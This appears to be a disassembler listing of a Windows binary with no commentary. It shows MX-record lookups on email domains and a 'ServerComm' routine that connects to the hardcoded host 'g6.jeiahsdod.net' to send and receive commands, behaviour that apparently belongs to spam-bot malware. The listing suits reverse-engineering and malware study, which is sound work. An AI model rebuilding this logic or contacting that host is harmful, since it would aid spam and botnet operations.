		mov	ebx, [ebp+arg_4]
		imul	eax, 2Ch
		sub	ebx, eax
		cmp	[ebp+arg_0], edi
		jz	short loc_40B263
		mov	eax, [ebp+arg_4]
		sub	eax, edi
		mov	[ebp+arg_4], eax
		jmp	short loc_40B253
; ---------------------------------------------------------------------------


loc_40B250:				; CODE XREF: sub_40B227+3Aj
		mov	eax, [ebp+arg_4]


loc_40B253:				; CODE XREF: sub_40B227+27j
		sub	edi, 2Ch
		lea	esi, [eax+edi]
		call	sub_4076E5
		cmp	edi, [ebp+arg_0]
		jnz	short loc_40B250


loc_40B263:				; CODE XREF: sub_40B227+1Dj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40B227	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B26B	proc near		; CODE XREF: sub_40A246+A2p
					; sub_40A246+C0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B3C2
		add	esp, 10h
		pop	edi
		leave
		retn	8
sub_40B26B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B28F	proc near		; CODE XREF: sub_40993D+1Ap
		mov	eax, offset loc_41AF94
		call	sub_41AE44
		push	ecx
		push	ecx
		mov	eax, [ebp+8]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-14h], eax


loc_40B2AB:				; CODE XREF: sub_40B28F+34j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_40B2E0
		push	dword ptr [ebp+8]
		mov	ecx, [ebp+10h]
		call	sub_40738D
		dec	dword ptr [ebp+0Ch]
		add	dword ptr [ebp+8], 38h
		jmp	short loc_40B2AB
; ---------------------------------------------------------------------------


loc_40B2C5:				; DATA XREF: .vty:004203DCo
		mov	esi, [ebp-14h]
		jmp	short loc_40B2D2
; ---------------------------------------------------------------------------


loc_40B2CA:				; CODE XREF: sub_40B28F+46j
		call	sub_4072AA
		add	esi, 38h


loc_40B2D2:				; CODE XREF: sub_40B28F+39j
		cmp	esi, [ebp+8]
		jnz	short loc_40B2CA
		push	0
		push	0
		call	sub_4107BC


loc_40B2E0:				; CODE XREF: sub_40B28F+20j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_40B28F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2EF	proc near		; CODE XREF: sub_4099EC+1Bp
		mov	eax, offset loc_41B33E
		call	sub_41AE44
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-14h], eax


loc_40B30C:				; CODE XREF: sub_40B2EF+35j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_40B34F
		push	dword ptr [ebp+8]
		mov	edi, [ebp+10h]
		call	sub_4073B7
		dec	dword ptr [ebp+0Ch]
		add	dword ptr [ebp+8], 2Ch
		jmp	short loc_40B30C
; ---------------------------------------------------------------------------


loc_40B326:				; DATA XREF: .vty:00420D8Co
		mov	edi, [ebp-14h]
		jmp	short loc_40B341
; ---------------------------------------------------------------------------


loc_40B32B:				; CODE XREF: sub_40B2EF+55j
		lea	esi, [edi+1Ch]
		call	sub_405AAC
		push	0
		push	1
		mov	ecx, edi
		call	sub_4013C4
		add	edi, 2Ch


loc_40B341:				; CODE XREF: sub_40B2EF+3Aj
		cmp	edi, [ebp+8]
		jnz	short loc_40B32B
		push	0
		push	0
		call	sub_4107BC


loc_40B34F:				; CODE XREF: sub_40B2EF+21j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_40B2EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35E	proc near		; CODE XREF: sub_409A9C+1Ap
		mov	eax, offset loc_41AF8A
		call	sub_41AE44
		push	ecx
		push	ecx
		mov	eax, [ebp+8]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-14h], eax


loc_40B37A:				; CODE XREF: sub_40B35E+34j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_40B3B3
		push	dword ptr [ebp+10h]
		mov	ecx, [ebp+8]
		call	sub_407365
		dec	dword ptr [ebp+0Ch]
		add	dword ptr [ebp+8], 1Ch
		jmp	short loc_40B37A
; ---------------------------------------------------------------------------


loc_40B394:				; DATA XREF: .vty:00420384o
		mov	esi, [ebp-14h]
		jmp	short loc_40B3A5
; ---------------------------------------------------------------------------


loc_40B399:				; CODE XREF: sub_40B35E+4Cj
		push	1
		mov	ecx, esi
		call	sub_4013C4
		add	esi, 1Ch


loc_40B3A5:				; CODE XREF: sub_40B35E+39j
		cmp	esi, [ebp+8]
		push	0
		jnz	short loc_40B399
		push	0
		call	sub_4107BC


loc_40B3B3:				; CODE XREF: sub_40B35E+20j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_40B35E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3C2	proc near		; CODE XREF: sub_40B26B+17p
		mov	eax, offset loc_41AF80
		call	sub_41AE44
		sub	esp, 24h
		push	ebx
		push	esi
		mov	esi, [ebp+0Ch]
		push	edi
		xor	ebx, ebx
		mov	[ebp-10h], esp
		mov	edi, ecx
		push	ebx
		lea	ecx, [ebp-30h]
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-18h], 0Fh
		call	sub_401564
		mov	[ebp-4], ebx
		mov	byte ptr [ebp-4], 1


loc_40B3F6:				; CODE XREF: sub_40B3C2+56j
		cmp	edi, [ebp+8]
		jz	short loc_40B439
		lea	eax, [ebp-30h]
		push	eax
		mov	ecx, esi
		call	sub_407365
		mov	eax, edi
		mov	ecx, esi
		call	sub_40B455
		add	esi, 1Ch
		mov	[ebp+0Ch], esi
		add	edi, 1Ch
		jmp	short loc_40B3F6
; ---------------------------------------------------------------------------


loc_40B41A:				; DATA XREF: .vty:0042032Co
		mov	esi, [ebp-14h]
		jmp	short loc_40B42B
; ---------------------------------------------------------------------------


loc_40B41F:				; CODE XREF: sub_40B3C2+6Ej
		push	1
		mov	ecx, esi
		call	sub_4013C4
		add	esi, 1Ch


loc_40B42B:				; CODE XREF: sub_40B3C2+5Bj
		cmp	esi, [ebp+0Ch]
		push	0
		jnz	short loc_40B41F
		push	0
		call	sub_4107BC


loc_40B439:				; CODE XREF: sub_40B3C2+37j
		push	ebx
		push	1
		lea	ecx, [ebp-30h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_40B3C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B455	proc near		; CODE XREF: sub_40A246+1C0p
					; sub_40B3C2+48p

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	edx, [ecx+4]
		mov	esi, edx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		movsd
		lea	ebx, [eax+4]
		mov	edi, edx
		mov	esi, ebx
		movsd
		movsd
		movsd
		movsd
		mov	edi, ebx
		lea	esi, [ebp+var_10]
		movsd
		movsd
		movsd
		movsd
		mov	esi, [eax+14h]
		mov	edx, [ecx+14h]
		mov	[ecx+14h], esi
		mov	esi, [eax+18h]
		mov	[eax+14h], edx
		mov	edx, [ecx+18h]
		pop	edi
		mov	[ecx+18h], esi
		pop	esi
		mov	[eax+18h], edx
		pop	ebx
		leave
		retn
sub_40B455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B49B	proc near		; DATA XREF: .vty:0041EB5Co

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset SEH_40B49B
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[esp+58h+var_4C], ebx
		mov	[esp+58h+var_38], ebx
		mov	[esp+58h+var_34], ebx
		mov	[esp+58h+var_30], ebx
		lea	esi, [edi+8]
		mov	[esp+58h+var_4], ebx
		mov	[esp+58h+var_48], esi
		call	sub_406402
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_40B4EB
		mov	eax, [eax+4]
		jmp	short loc_40B4EE
; ---------------------------------------------------------------------------


loc_40B4EB:				; CODE XREF: sub_40B49B+49j
		add	eax, 4


loc_40B4EE:				; CODE XREF: sub_40B49B+4Ej
		push	ebx
		lea	ecx, [esp+5Ch+var_4C]
		push	ecx
		push	ebx
		push	ebx
		push	0Fh
		push	eax
		call	sub_40D772	; DnsQuery_A
		test	eax, eax
		jnz	short loc_40B54F
		mov	esi, [esp+58h+var_4C]
		jmp	short loc_40B540
; ---------------------------------------------------------------------------


loc_40B508:				; CODE XREF: sub_40B49B+A7j
		cmp	word ptr [esi+8], 0Fh
		jnz	short loc_40B53E
		push	dword ptr [esi+18h]
		lea	ecx, [esp+5Ch+var_2C]
		call	sub_401C44
		lea	eax, [esp+58h+var_2C]
		push	eax
		lea	eax, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_409560
		push	ebx
		push	1
		lea	ecx, [esp+60h+var_2C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_4013C4


loc_40B53E:				; CODE XREF: sub_40B49B+72j
		mov	esi, [esi]


loc_40B540:				; CODE XREF: sub_40B49B+6Bj
		cmp	esi, ebx
		jnz	short loc_40B508
		push	1
		push	[esp+5Ch+var_4C]
		call	sub_40D778	; DnsRecordListFree


loc_40B54F:				; CODE XREF: sub_40B49B+65j
		lea	eax, [esp+58h+var_3C]
		call	sub_4057B6
		test	eax, eax
		jz	short loc_40B588
		mov	edi, [edi+4]
		lea	eax, [esp+58h+var_3C]
		push	eax
		push	[esp+5Ch+var_48]
		call	sub_402AA0


loc_40B56D:				; CODE XREF: sub_40B49B+140j
		lea	esi, [esp+58h+var_3C]
		call	sub_405AAC
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B588:				; CODE XREF: sub_40B49B+BFj
		mov	esi, [esp+58h+var_48]
		call	sub_406402
		mov	esi, eax
		mov	edi, [esi+20h]
		add	esi, 1Ch
		cmp	edi, [esi+8]
		jbe	short loc_40B5A3
		call	sub_40DCFC


loc_40B5A3:				; CODE XREF: sub_40B49B+101j
		mov	dword ptr [esp+58h+var_44], esi
		mov	[esp+58h+var_40], edi


loc_40B5AB:				; CODE XREF: sub_40B49B+19Dj
		mov	esi, [esp+58h+var_48]
		call	sub_406402
		mov	esi, eax
		mov	edi, [esi+24h]
		add	esi, 1Ch
		cmp	[esi+4], edi
		jbe	short loc_40B5C6
		call	sub_40DCFC


loc_40B5C6:				; CODE XREF: sub_40B49B+124j
		cmp	dword ptr [esp+58h+var_44], ebx
		jz	short loc_40B5D2
		cmp	dword ptr [esp+58h+var_44], esi
		jz	short loc_40B5D7


loc_40B5D2:				; CODE XREF: sub_40B49B+12Fj
		call	sub_40DCFC


loc_40B5D7:				; CODE XREF: sub_40B49B+135j
		cmp	[esp+58h+var_40], edi
		jz	short loc_40B56D
		lea	esi, [esp+58h+var_44]
		call	sub_409835
		mov	byte ptr [eax+59h], 4
		call	sub_409835
		add	eax, 1Ch
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_40B5FD
		mov	edi, [eax+4]
		jmp	short loc_40B600
; ---------------------------------------------------------------------------


loc_40B5FD:				; CODE XREF: sub_40B49B+15Bj
		lea	edi, [eax+4]


loc_40B600:				; CODE XREF: sub_40B49B+160j
		lea	esi, [esp+58h+var_44]
		call	sub_409835
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_40B614
		mov	eax, [eax+4]
		jmp	short loc_40B617
; ---------------------------------------------------------------------------


loc_40B614:				; CODE XREF: sub_40B49B+172j
		add	eax, 4


loc_40B617:				; CODE XREF: sub_40B49B+177j
		push	edi
		push	eax
		push	offset aNomxS@S	; "nomx: %s@%s\n"
		call	sub_4024A7
		push	eax
		push	5
		pop	ecx
		call	sub_40195C
		add	esp, 10h
		lea	esi, [esp+58h+var_44]
		call	sub_40556B
		jmp	loc_40B5AB
sub_40B49B	endp

; ---------------------------------------------------------------------------


loc_40B63D:				; CODE XREF: .vty:0041B0B7j
		jmp	sub_40B9E7

; =============== S U B	R O U T	I N E =======================================



sub_40B642	proc near		; CODE XREF: sub_405089+65p
		mov	eax, offset loc_41B4FA
		call	sub_41AE44
		sub	esp, 84h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40B9E7
		push	0
		push	1
		push	2
		call	dword_41C1E4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi+4], eax
		jnz	short loc_40B69A
		push	offset aServercommConn ; "ServerComm::connect: cannot create sock"...
		lea	ecx, [ebp-3Ch]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-3Ch]
		push	eax
		lea	ecx, [ebp-58h]
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [ebp-58h]


loc_40B694:				; CODE XREF: sub_40B642+B4j
					; sub_40B642+10Dj
		push	eax
		call	sub_4107BC


loc_40B69A:				; CODE XREF: sub_40B642+2Bj
		push	61ABh
		mov	word ptr [ebp-20h], 2
		call	dword_41C1EC	; ntohs
		mov	edi, offset aG6_jeiahsdod_n ; "g6.jeiahsdod.net"
		push	edi
		mov	[ebp-1Eh], ax
		call	dword_41C200	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1Ch], eax
		jnz	short loc_40B70E
		push	edi
		call	dword_41C218	; gethostbyname
		test	eax, eax
		jnz	short loc_40B6F8
		push	offset aServercommCo_0 ; "ServerComm::connect: unknown host"
		lea	ecx, [ebp-58h]
		call	sub_401C44
		lea	eax, [ebp-58h]
		push	eax
		lea	ecx, [ebp-3Ch]
		mov	dword ptr [ebp-4], 1
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [ebp-3Ch]
		jmp	short loc_40B694
; ---------------------------------------------------------------------------


loc_40B6F8:				; CODE XREF: sub_40B642+8Aj
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_410050
		add	esp, 0Ch


loc_40B70E:				; CODE XREF: sub_40B642+7Fj
		push	10h
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [esi+4]
		call	dword_41C204	; connect
		test	eax, eax
		jz	short loc_40B754
		push	offset aServercommCo_1 ; "ServerComm::connect: cannot connect"
		lea	ecx, [ebp-74h]
		call	sub_401C44
		lea	eax, [ebp-74h]
		push	eax
		lea	ecx, [ebp-90h]
		mov	dword ptr [ebp-4], 2
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [ebp-90h]
		jmp	loc_40B694
; ---------------------------------------------------------------------------


loc_40B754:				; CODE XREF: sub_40B642+DDj
		push	0
		push	7
		push	1
		push	0
		mov	edx, esi
		call	sub_40BB24
		mov	ecx, [ebp-0Ch]
		add	esp, 10h
		pop	edi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn
sub_40B642	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B774	proc near		; CODE XREF: sub_40376E+172p
					; sub_405089+201p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	2
		pop	eax
		push	0
		push	7
		push	eax
		push	0
		push	[ebp+arg_0]
		lea	esi, [ebp+var_C]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 8
		call	sub_40BA6E
		add	esp, 14h
		pop	esi
		leave
		retn	4
sub_40B774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7A2	proc near		; CODE XREF: sub_405089+22Ap
		mov	eax, offset loc_41B4D8
		call	sub_41AE44
		sub	esp, 68h
		push	ebx
		xor	ebx, ebx
		push	esi
		xor	ecx, ecx
		push	edi
		mov	[ebp-70h], ebx
		mov	[ebp-6Ch], ecx
		mov	[ebp-68h], ebx
		mov	[ebp-4], ebx
		mov	eax, [ebp+0Ch]
		mov	edx, [eax+4]
		mov	dword ptr [ebp-34h], 4
		mov	edi, [edx]
		mov	[ebp-28h], edi
		mov	[ebp-2Ch], eax


loc_40B7D7:				; CODE XREF: sub_40B7A2+1E9j
		cmp	[ebp-2Ch], ebx
		mov	esi, [eax+4]
		jz	short loc_40B7E4
		cmp	[ebp-2Ch], eax
		jz	short loc_40B7EC


loc_40B7E4:				; CODE XREF: sub_40B7A2+3Bj
		call	sub_40DCFC
		mov	ecx, [ebp-6Ch]


loc_40B7EC:				; CODE XREF: sub_40B7A2+40j
		cmp	edi, esi
		jz	loc_40B990
		lea	ebx, [ebp-11h]
		lea	esi, [ebp-74h]
		mov	byte ptr [ebp-11h], 0FFh
		call	sub_40C270
		mov	esi, [ebp-2Ch]
		test	esi, esi
		jnz	short loc_40B80F
		call	sub_40DCFC


loc_40B80F:				; CODE XREF: sub_40B7A2+66j
		cmp	edi, [esi+4]
		jnz	short loc_40B819
		call	sub_40DCFC


loc_40B819:				; CODE XREF: sub_40B7A2+70j
		mov	al, [edi+1Ch]
		lea	ebx, [ebp-11h]
		lea	esi, [ebp-74h]
		mov	[ebp-11h], al
		call	sub_40C270
		mov	esi, [ebp-2Ch]
		cmp	edi, [esi+4]
		jnz	short loc_40B837
		call	sub_40DCFC


loc_40B837:				; CODE XREF: sub_40B7A2+8Ej
		cmp	edi, [esi+4]
		lea	ebx, [edi+8]
		jnz	short loc_40B844
		call	sub_40DCFC


loc_40B844:				; CODE XREF: sub_40B7A2+9Bj
		mov	eax, [ebp-6Ch]
		cmp	[ebp-70h], eax
		mov	[ebp-18h], eax
		jbe	short loc_40B854
		call	sub_40DCFC


loc_40B854:				; CODE XREF: sub_40B7A2+ABj
		lea	eax, [ebp-4Ch]
		mov	ecx, ebx
		lea	esi, [ebp-74h]
		call	sub_405492
		mov	ebx, [eax]
		mov	eax, [eax+4]
		mov	[ebp-38h], eax
		lea	eax, [ebp-54h]
		lea	ecx, [edi+8]
		call	sub_405472
		push	dword ptr [ebp-38h]
		mov	ecx, esi
		push	ebx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		push	dword ptr [ebp-18h]
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_40C844
		mov	eax, [ebp-2Ch]
		cmp	edi, [eax+4]
		jnz	short loc_40B898
		call	sub_40DCFC


loc_40B898:				; CODE XREF: sub_40B7A2+EFj
		lea	esi, [edi+24h]
		mov	ebx, [esi+4]
		cmp	ebx, [esi+8]
		jbe	short loc_40B8A8
		call	sub_40DCFC


loc_40B8A8:				; CODE XREF: sub_40B7A2+FFj
		mov	[ebp-24h], esi
		mov	[ebp-20h], ebx


loc_40B8AE:				; CODE XREF: sub_40B7A2+1D1j
		mov	eax, [ebp-2Ch]
		cmp	edi, [eax+4]
		jnz	short loc_40B8BB
		call	sub_40DCFC


loc_40B8BB:				; CODE XREF: sub_40B7A2+112j
		lea	esi, [edi+24h]
		mov	ebx, [esi+8]
		cmp	[esi+4], ebx
		jbe	short loc_40B8CB
		call	sub_40DCFC


loc_40B8CB:				; CODE XREF: sub_40B7A2+122j
		cmp	dword ptr [ebp-24h], 0
		jz	short loc_40B8D6
		cmp	[ebp-24h], esi
		jz	short loc_40B8DB


loc_40B8D6:				; CODE XREF: sub_40B7A2+12Dj
		call	sub_40DCFC


loc_40B8DB:				; CODE XREF: sub_40B7A2+132j
		cmp	[ebp-20h], ebx
		jz	loc_40B978
		lea	esi, [ebp-24h]
		call	sub_409835
		mov	ebx, eax
		add	ebx, 59h
		lea	esi, [ebp-74h]
		call	sub_40C270
		lea	esi, [ebp-24h]
		call	sub_409835
		mov	al, [eax+14h]
		lea	ebx, [ebp-11h]
		lea	esi, [ebp-74h]
		mov	[ebp-11h], al
		call	sub_40C270
		lea	esi, [ebp-24h]
		call	sub_409835
		mov	ebx, eax
		call	sub_409835
		mov	[ebp-18h], eax
		mov	eax, [ebp-6Ch]
		cmp	[ebp-70h], eax
		mov	[ebp-1Ch], eax
		jbe	short loc_40B934
		call	sub_40DCFC


loc_40B934:				; CODE XREF: sub_40B7A2+18Bj
		lea	eax, [ebp-5Ch]
		mov	ecx, ebx
		lea	esi, [ebp-74h]
		call	sub_405492
		mov	ebx, [eax]
		mov	eax, [eax+4]
		mov	ecx, [ebp-18h]
		mov	[ebp-40h], eax
		lea	eax, [ebp-64h]
		call	sub_405472
		push	dword ptr [ebp-40h]
		mov	ecx, esi
		push	ebx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		push	dword ptr [ebp-1Ch]
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_40C844
		lea	esi, [ebp-24h]
		call	sub_40556B
		jmp	loc_40B8AE
; ---------------------------------------------------------------------------


loc_40B978:				; CODE XREF: sub_40B7A2+13Cj
		lea	esi, [ebp-2Ch]
		call	sub_405D8F
		mov	ecx, [ebp-6Ch]
		mov	edi, [ebp-28h]
		mov	eax, [ebp+0Ch]
		xor	ebx, ebx
		jmp	loc_40B7D7
; ---------------------------------------------------------------------------


loc_40B990:				; CODE XREF: sub_40B7A2+4Cj
		mov	edx, [ebp-70h]
		cmp	edx, ebx
		jnz	short loc_40B99B
		xor	eax, eax
		jmp	short loc_40B99F
; ---------------------------------------------------------------------------


loc_40B99B:				; CODE XREF: sub_40B7A2+1F3j
		mov	eax, ecx
		sub	eax, edx


loc_40B99F:				; CODE XREF: sub_40B7A2+1F7j
		add	eax, 8
		cmp	edx, ebx
		mov	[ebp-30h], eax
		jz	short loc_40B9AD
		sub	ecx, edx
		jnz	short loc_40B9B2


loc_40B9AD:				; CODE XREF: sub_40B7A2+205j
		call	sub_40DCFC


loc_40B9B2:				; CODE XREF: sub_40B7A2+209j
		push	ebx
		push	dword ptr [ebp-70h]
		lea	esi, [ebp-34h]
		push	dword ptr [ebp+8]
		call	sub_40BA6E
		add	esp, 0Ch
		cmp	[ebp-70h], ebx
		mov	esi, eax
		jz	short loc_40B9D4
		push	dword ptr [ebp-70h]
		call	sub_40DD8A
		pop	ecx


loc_40B9D4:				; CODE XREF: sub_40B7A2+227j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_40B7A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9E7	proc near		; CODE XREF: sub_40260A+6Ap
					; .vty:loc_40B63Dj ...
		mov	eax, [esi+4]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40B9F2
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_40B9F2:				; CODE XREF: sub_40B9E7+6j
		push	eax
		call	dword_41C1E8	; closesocket
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	al, 1
		retn
sub_40B9E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA00	proc near		; CODE XREF: sub_40BB2D+30p
					; sub_40BB2D+128p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_8], esi
		jbe	short loc_40BA30


loc_40BA0B:				; CODE XREF: sub_40BA00+2Ej
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		push	0
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		call	dword_41C1E0	; recv
		test	eax, eax
		jle	short loc_40BA32
		add	esi, eax
		cmp	esi, [ebp+arg_8]
		jb	short loc_40BA0B


loc_40BA30:				; CODE XREF: sub_40BA00+9j
		mov	eax, esi


loc_40BA32:				; CODE XREF: sub_40BA00+27j
		pop	esi
		pop	ebp
		retn	0Ch
sub_40BA00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA37	proc near		; CODE XREF: sub_40BA6E+16p
					; sub_40BA6E+5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_8], esi
		jbe	short loc_40BA67


loc_40BA42:				; CODE XREF: sub_40BA37+2Ej
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		push	0
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		call	dword_41C1F0	; send
		test	eax, eax
		jle	short loc_40BA69
		add	esi, eax
		cmp	esi, [ebp+arg_8]
		jb	short loc_40BA42


loc_40BA67:				; CODE XREF: sub_40BA37+9j
		mov	eax, esi


loc_40BA69:				; CODE XREF: sub_40BA37+27j
		pop	esi
		pop	ebp
		retn	0Ch
sub_40BA37	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BA6E	proc near		; CODE XREF: sub_405089+D1p
					; sub_405089+186p ...
		mov	eax, offset loc_41B4C6
		call	sub_41AE44
		sub	esp, 70h
		push	ebx
		push	8
		push	esi
		push	dword ptr [ebp+8]
		xor	ebx, ebx
		call	sub_40BA37
		cmp	eax, 8
		jz	short loc_40BAB8
		push	offset aServercommDoco ; "ServerComm::doCommand: disconnected whi"...
		lea	ecx, [ebp-28h]
		call	sub_401C44
		and	[ebp-4], ebx
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-44h]
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [ebp-44h]


loc_40BAB2:				; CODE XREF: sub_40BA6E+93j
		push	eax
		call	sub_4107BC


loc_40BAB8:				; CODE XREF: sub_40BA6E+1Ej
		cmp	[ebp+0Ch], ebx
		jz	short loc_40BB03
		mov	eax, [esi+4]
		sub	eax, 8
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40BA37
		mov	ecx, [esi+4]
		sub	ecx, 8
		cmp	eax, ecx
		jz	short loc_40BB03
		push	offset aServercommDo_0 ; "ServerComm::doCommand: disconnected whi"...
		lea	ecx, [ebp-60h]
		call	sub_401C44
		lea	eax, [ebp-60h]
		push	eax
		lea	ecx, [ebp-7Ch]
		mov	dword ptr [ebp-4], 1
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [ebp-7Ch]
		jmp	short loc_40BAB2
; ---------------------------------------------------------------------------


loc_40BB03:				; CODE XREF: sub_40BA6E+4Dj
					; sub_40BA6E+69j
		cmp	[ebp+10h], ebx
		jz	short loc_40BB15
		mov	edx, [ebp+8]
		lea	ecx, [ebp+10h]
		call	sub_40BB2D
		mov	ebx, eax


loc_40BB15:				; CODE XREF: sub_40BA6E+98j
		mov	ecx, [ebp-0Ch]
		mov	eax, ebx
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_40BA6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB24	proc near		; CODE XREF: sub_40B642+11Cp

arg_4		= byte ptr  8

		lea	ecx, [esp+arg_4]
		jmp	$+5
sub_40BB24	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB2D	proc near		; CODE XREF: sub_40BA6E+A0p

var_AC		= dword	ptr -0ACh
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= byte ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_64		= byte ptr -64h
var_48		= byte ptr -48h
var_2C		= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_41B4AC
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	8
		lea	eax, [esp+0ACh+var_9C]
		mov	esi, edx
		push	eax
		push	esi
		mov	edi, ecx
		call	sub_40BA00
		cmp	eax, 8
		jz	short loc_40BB9A
		push	offset aServercommGetr ; "ServerComm::getResponse: disconnected	w"...
		lea	ecx, [esp+0ACh+var_80]
		call	sub_401C44
		and	[esp+0A8h+var_4], 0
		lea	eax, [esp+0A8h+var_80]
		push	eax
		lea	ecx, [esp+0ACh+var_64]
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [esp+0ACh+var_64]


loc_40BB94:				; CODE XREF: sub_40BB2D+D5j
					; sub_40BB2D+111j ...
		push	eax
		call	sub_4107BC


